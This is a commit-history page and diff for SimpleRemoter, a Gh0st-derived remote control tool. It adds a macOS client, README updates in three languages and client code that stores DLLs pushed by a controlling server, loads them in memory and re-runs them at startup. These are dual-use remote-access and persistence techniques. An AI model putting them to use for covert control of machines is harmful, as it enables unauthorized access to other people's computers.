14 Commits

Author SHA1 Message Date
yuanyuanxiang
36ba9ccc1d Release v1.3.2 2026-05-01 11:36:56 +02:00
yuanyuanxiang
ed4b9eeb25 Fix: Web remote desktop double-click not working for macOS clients 2026-05-01 11:08:12 +02:00
yuanyuanxiang
cfa9b581fc Fix: Full Disk Access permission check using actual file read 2026-05-01 09:32:15 +02:00
yuanyuanxiang
979f309497 Feature: Add "Full Disk Access" permission check for macOS client 2026-05-01 08:41:08 +02:00
yuanyuanxiang
9b1cb1ced9 Feature: Add cursor position and type detection for macOS client 2026-05-01 08:32:46 +02:00
yuanyuanxiang
f2a184e760 Feature: Implement initial macOS SimpleRemoter client 2026-05-01 01:28:55 +02:00
yuanyuanxiang
7a90d217f3 fix: Missing "linux/lib/libzstd.a" to build Linux client 2026-04-29 19:47:25 +02:00
yuanyuanxiang
1cc66aff56 Feature: Web remote desktop cursor sync with remote host 2026-04-27 12:12:23 +02:00
yuanyuanxiang
b98607d24d Fix: Using wrong DLL info size causes RestoreMemDLL restore failed 2026-04-26 23:29:41 +02:00
yuanyuanxiang
fa9ee977b5 Feature: Implement trigger logic for host online event 2026-04-26 14:41:42 +02:00
yuanyuanxiang
acccc039b6 Fix: Multiple DLLs execute may fail due to a global variable 2026-04-25 17:57:00 +02:00
yuanyuanxiang
c38ccbe7ca Feature: DLL executing parameters persistence and DLL auto-run 2026-04-25 17:30:07 +02:00
yuanyuanxiang
655b1934a4 Feature: Implement user management feature with role support 2026-04-24 12:19:15 +02:00
yuanyuanxiang
ac14073921 Feature: Support switching remote desktop input language 2026-04-23 19:47:31 +02:00
49 changed files with 5626 additions and 88 deletions

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a> </a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform"> <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE"> <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -56,7 +56,7 @@
## 项目简介 ## 项目简介
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux** 平台的企业级远程管理工具。 **SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 平台的企业级远程管理工具。
### 核心能力 ### 核心能力
@@ -354,6 +354,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL | | `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
| Windows 服务 | 后台运行,支持锁屏控制 | | Windows 服务 | 后台运行,支持锁屏控制 |
| Linux 客户端 | 跨平台支持v1.2.5+ | | Linux 客户端 | 跨平台支持v1.2.5+ |
| macOS 客户端 | 跨平台支持v1.3.2+ |
--- ---
@@ -489,10 +490,60 @@ cmake .
make make
``` ```
### macOS 客户端v1.3.2+
**系统要求**
- macOS 10.15 (Catalina) 及以上
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
**功能支持**
| 功能 | 状态 | 实现 |
|------|------|------|
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获H.264 硬件编码 |
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
| 光标同步 | ✅ | 实时同步远程光标样式 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 文件管理 | ⏳ | 开发中 |
| 远程终端 | ⏳ | 开发中 |
**编译方式**
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
--- ---
## 更新日志 ## 更新日志
### v1.3.2 (2026.5.1)
**macOS 客户端 & Web 远程桌面增强**
**新功能:**
- macOS 客户端支持:全新实现的 macOS 原生客户端支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
- 触发器功能:支持主机上线事件触发自定义操作
- 用户管理功能:新增角色权限管理,支持多用户分级控制
- DLL 执行增强:参数持久化存储、支持自动运行配置
- 远程桌面输入法切换:支持远程切换被控端输入语言
**改进:**
- Web 远程桌面手势优化改进双指手势识别、双击拖拽、Shift 组合键支持
**Bug 修复:**
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
- 修复 macOS 完全磁盘访问权限检测不准确的问题
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
- 修复鼠标双击和远程桌面切换问题
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
### v1.3.1 (2026.4.15) ### v1.3.1 (2026.4.15)
**Web 远程桌面 & 多主控共享增强** **Web 远程桌面 & 多主控共享增强**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a> </a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform"> <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE"> <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## Overview ## Overview
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting both **Windows and Linux** platforms. **SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting **Windows, Linux, and macOS** platforms.
### Core Capabilities ### Core Capabilities
@@ -354,6 +354,7 @@ The master program **YAMA.exe** provides a graphical management interface:
| `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading | | `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading |
| Windows Service | Background operation, supports lock screen control | | Windows Service | Background operation, supports lock screen control |
| Linux Client | Cross-platform support (v1.2.5+) | | Linux Client | Cross-platform support (v1.2.5+) |
| macOS Client | Cross-platform support (v1.3.2+) |
--- ---
@@ -474,10 +475,60 @@ cmake .
make make
``` ```
### macOS Client (v1.3.2+)
**System Requirements**:
- macOS 10.15 (Catalina) or later
- Required permissions: Screen Recording, Accessibility, Full Disk Access
**Feature Support**:
| Feature | Status | Implementation |
|---------|--------|----------------|
| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding |
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
| File Management | ⏳ | In development |
| Remote Terminal | ⏳ | In development |
**Build Instructions**:
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
--- ---
## Changelog ## Changelog
### v1.3.2 (2026.5.1)
**macOS Client & Web Remote Desktop Enhancement**
**New Features:**
- macOS client support: Native macOS client with screen capture, H.264 encoding, keyboard/mouse control, system permission management
- Web remote desktop cursor sync: Real-time display of remote host cursor style in browser
- Trigger functionality: Support custom actions triggered by host online events
- User management: Role-based permission management, multi-user hierarchical control
- DLL execution enhancements: Parameter persistence, auto-run configuration support
- Remote desktop input language switching: Support switching remote host input language
**Improvements:**
- Web remote desktop gesture optimization: Improved two-finger gesture recognition, double-tap drag, Shift key combination support
**Bug Fixes:**
- Fixed Web remote desktop double-click not working for macOS clients
- Fixed macOS Full Disk Access permission detection inaccuracy
- Fixed RestoreMemDLL failure due to incorrect DLL info size
- Fixed multiple DLLs execution failure due to global variable conflict
- Fixed mouse double-click and remote desktop switching issues
- Fixed Linux client build missing libzstd.a
### v1.3.1 (2026.4.15) ### v1.3.1 (2026.4.15)
**Web Remote Desktop & Multi-Master Sharing Enhancement** **Web Remote Desktop & Multi-Master Sharing Enhancement**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases"> <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release"> <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a> </a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform"> <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language"> <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE"> <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License"> <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## 專案簡介 ## 專案簡介
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux** 平台的企業級遠端管理工具。 **SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 平台的企業級遠端管理工具。
### 核心能力 ### 核心能力
@@ -353,6 +353,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL | | `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
| Windows 服務 | 背景執行,支援鎖定畫面控制 | | Windows 服務 | 背景執行,支援鎖定畫面控制 |
| Linux 用戶端 | 跨平台支援v1.2.5+ | | Linux 用戶端 | 跨平台支援v1.2.5+ |
| macOS 用戶端 | 跨平台支援v1.3.2+ |
--- ---
@@ -473,10 +474,60 @@ cmake .
make make
``` ```
### macOS 用戶端v1.3.2+
**系統要求**
- macOS 10.15 (Catalina) 及以上
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
**功能支援**
| 功能 | 狀態 | 實作 |
|------|------|------|
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取H.264 硬體編碼 |
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 檔案管理 | ⏳ | 開發中 |
| 遠端終端 | ⏳ | 開發中 |
**編譯方式**
```bash
cd macos
mkdir build && cd build
cmake ..
make
```
--- ---
## 更新日誌 ## 更新日誌
### v1.3.2 (2026.5.1)
**macOS 用戶端 & Web 遠端桌面增強**
**新功能:**
- macOS 用戶端支援:全新實現的 macOS 原生用戶端支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
- 觸發器功能:支援主機上線事件觸發自訂操作
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
- DLL 執行增強:參數持久化儲存、支援自動執行設定
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
**改進:**
- Web 遠端桌面手勢最佳化改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
**Bug 修復:**
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
- 修復滑鼠雙擊和遠端桌面切換問題
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
### v1.3.1 (2026.4.15) ### v1.3.1 (2026.4.15)
**Web 遠端桌面 & 多主控共享增強** **Web 遠端桌面 & 多主控共享增強**

View File

@@ -61,6 +61,10 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
return FALSE; return FALSE;
} }
#ifdef __APPLE__
// macOS: 只有 TCP_KEEPALIVE (等同于 TCP_KEEPIDLE)
setsockopt(socket, IPPROTO_TCP, TCP_KEEPALIVE, &nKeepAliveSec, sizeof(nKeepAliveSec));
#else
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包) // 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
Mprintf("Failed to set TCP_KEEPIDLE\n"); Mprintf("Failed to set TCP_KEEPIDLE\n");
@@ -80,6 +84,7 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
Mprintf("Failed to set TCP_KEEPCNT\n"); Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE; return FALSE;
} }
#endif
Mprintf("TCP keep-alive settings applied successfully\n"); Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE; return TRUE;

View File

@@ -21,6 +21,7 @@
#include "common/file_upload.h" #include "common/file_upload.h"
#include "common/DateVerify.h" #include "common/DateVerify.h"
#include "common/LANChecker.h" #include "common/LANChecker.h"
#include "common/scheduler.h"
extern "C" { extern "C" {
#include "ServiceWrapper.h" #include "ServiceWrapper.h"
} }
@@ -65,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s) : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
{ {
m_cfg = new iniFile(CLIENT_PATH);
m_ulThreadCount = 0; m_ulThreadCount = 0;
#ifdef _DEBUG #ifdef _DEBUG
m_settings = { 5 }; m_settings = { 5 };
@@ -75,6 +77,11 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
m_hKeyboard = kb; m_hKeyboard = kb;
// C2C 初始化 // C2C 初始化
if (conn) m_MyClientID = conn->clientID; if (conn) m_MyClientID = conn->clientID;
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
static int n = RestoreMemDLL();
if (n) {
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
}
} }
BOOL IsThreadsRunning(ThreadInfo* threads, int count) BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -90,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
Mprintf("~CKernelManager begin\n"); Mprintf("~CKernelManager begin\n");
SAFE_DELETE(m_cfg);
HANDLE hList[MAX_THREADNUM] = {}; HANDLE hList[MAX_THREADNUM] = {};
for (int i=0; i<MAX_THREADNUM; ++i) { for (int i=0; i<MAX_THREADNUM; ++i) {
if (m_hThread[i].h!=0) { if (m_hThread[i].h!=0) {
@@ -233,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DllExecParam<>* dll = (DllExecParam<>*)param; DllExecParam<>* dll = (DllExecParam<>*)param;
DllExecuteInfo info = *(dll->info); DllExecuteInfo info = *(dll->info);
PluginParam pThread = dll->param; PluginParam pThread = dll->param;
CManager* This = dll->manager; CKernelManager* This = (CKernelManager*)dll->manager;
#if _DEBUG #if _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name); DllRunner* runner = new DefaultDllRunner(info.Name);
@@ -262,17 +270,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL; RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
char* user = (char*)dll->param.User; char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
if (proc) { if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
if (r) { }
char buf[100]; else {
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
Mprintf("%s\n", buf); }
ClientMsg msg("代理端口", buf); if (r) {
This->SendData((LPBYTE)&msg, sizeof(msg)); char buf[100];
} sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
} }
SAFE_DELETE_ARRAY(user); SAFE_DELETE_ARRAY(user);
break; break;
@@ -281,17 +293,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
char* user = (char*)dll->param.User; char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
if (proc) { if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
if (r) { }
char buf[100]; else {
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
Mprintf("%s\n", buf); }
ClientMsg msg("代理端口", buf); if (r) {
This->SendData((LPBYTE)&msg, sizeof(msg)); char buf[100];
} sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
} }
SAFE_DELETE_ARRAY(user); SAFE_DELETE_ARRAY(user);
break; break;
@@ -623,24 +639,106 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
return ""; return "";
} }
int CKernelManager::RestoreMemDLL() {
binFile bin(CLIENT_PATH);
// 枚举所有以 .md5 结尾的值名称
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
int count = 0;
for (const auto& key : md5Keys) {
// 获取 MD5 值
std::string md5 = m_cfg->GetStr("settings", key);
if (md5.empty())
continue;
// 从 "xxx.md5" 提取 "xxx"
std::string name = key.substr(0, key.size() - 4);
// 获取对应的二进制数据
std::string binData = bin.GetStr("settings", name + ".bin");
if (binData.empty())
continue;
// 解析 DllExecuteInfo提取 DLL 数据
const int sz = 1 + sizeof(DllExecuteInfo);
if (binData.size() < sz)
continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
if (binData.size() < 1 + info->InfoSize + info->Size)
continue;
// 恢复到 m_MemDLL
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
count++;
// 检查是否为启动执行模式
if (info->Schedule.Mode == SCH_MODE_STARTUP) {
// 复制一份用于检查和执行
DllExecuteInfo infoCopy = *info;
ScheduleParams& sch = infoCopy.Schedule;
// 从注册表读取运行时状态LastRunTime 和 CurrentCount
std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
std::string countStr = m_cfg->GetStr("settings", name + ".count");
if (!lastRunStr.empty()) {
sch.LastRunTime = std::stoull(lastRunStr);
}
if (!countStr.empty()) {
sch.CurrentCount = (unsigned char)std::stoi(countStr);
}
// 检查是否应该执行
if (YamaTaskEngine::ShouldExecute(&sch)) {
Mprintf("Auto-start DLL on startup: %s\n", name.c_str());
char* buf = info->InfoSize > sizeof(DllExecuteInfo) ? new char[400] : 0;
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
BYTE* data = m_MemDLL[md5].data();
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
// 更新注册表中的运行时状态
// 如果有时间间隔限制,更新 LastRunTime
if (sch.Config.Startup.Interval > 0) {
YamaTaskEngine::MarkExecuted(&sch);
m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
}
// 如果有次数限制,更新 CurrentCount
if (sch.MaxCount > 0) {
if (sch.Config.Startup.Interval == 0) {
// 如果没更新过 LastRunTime需要单独增加计数
sch.CurrentCount++;
}
m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
}
}
}
}
return count;
}
template<typename T = DllExecuteInfo> template<typename T = DllExecuteInfo>
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
{ {
static std::map<std::string, std::vector<BYTE>> m_MemDLL; std::map<std::string, std::vector<BYTE>> &m_MemDLL(This->m_MemDLL);
const int sz = 1 + sizeof(T); const int sz = 1 + sizeof(T);
if (ulLength < sz) return FALSE; if (ulLength < sz) return FALSE;
const T* info = (T*)(szBuffer + 1); const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5; const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5); auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) { config *cfg = This->m_cfg;
iniFile cfg(CLIENT_PATH); auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) { if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码 // 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength); This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE; return TRUE;
} }
Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); Mprintf("Execute local DLL from registry: %s\n", md5);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin")); auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data()); const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
@@ -649,10 +747,10 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
} }
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) { if (info->Size == ulLength - sz) {
// 收到完整 DLL 数据,保存到注册表
if (md5[0]) { if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size); m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH); cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength); std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer); bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
@@ -660,7 +758,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
} }
data = szBuffer + sz; data = szBuffer + sz;
} }
if (data) { else if (data) {
// 只收到参数(无 DLL 数据),更新 .bin 中的参数部分
binFile bin(CLIENT_PATH);
std::string binData = bin.GetStr("settings", info->Name + std::string(".bin"));
if (binData.size() >= sz) {
// 替换 .bin 中的参数部分(跳过命令字节)
memcpy(&binData[1], szBuffer + 1, sizeof(T));
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
}
}
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user); PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL)); CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
@@ -682,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch (szBuffer[0]) { switch (szBuffer[0]) {
case CMD_SET_GROUP: { case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1); std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "group_name", group);
cfg.SetStr("settings", "group_name", group);
break; break;
} }
@@ -854,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE: case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER: case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) { if (ulLength > 2) {
iniFile cfg(CLIENT_PATH);
switch (szBuffer[1]) { switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: { case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3); auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto now = time(nullptr); auto now = time(nullptr);
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str()); auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
if (now <= valid_to) break; // Avoid assign again if (now <= valid_to) break; // Avoid assign again
cfg.SetStr("settings", "master", v[0]); m_cfg->SetStr("settings", "master", v[0]);
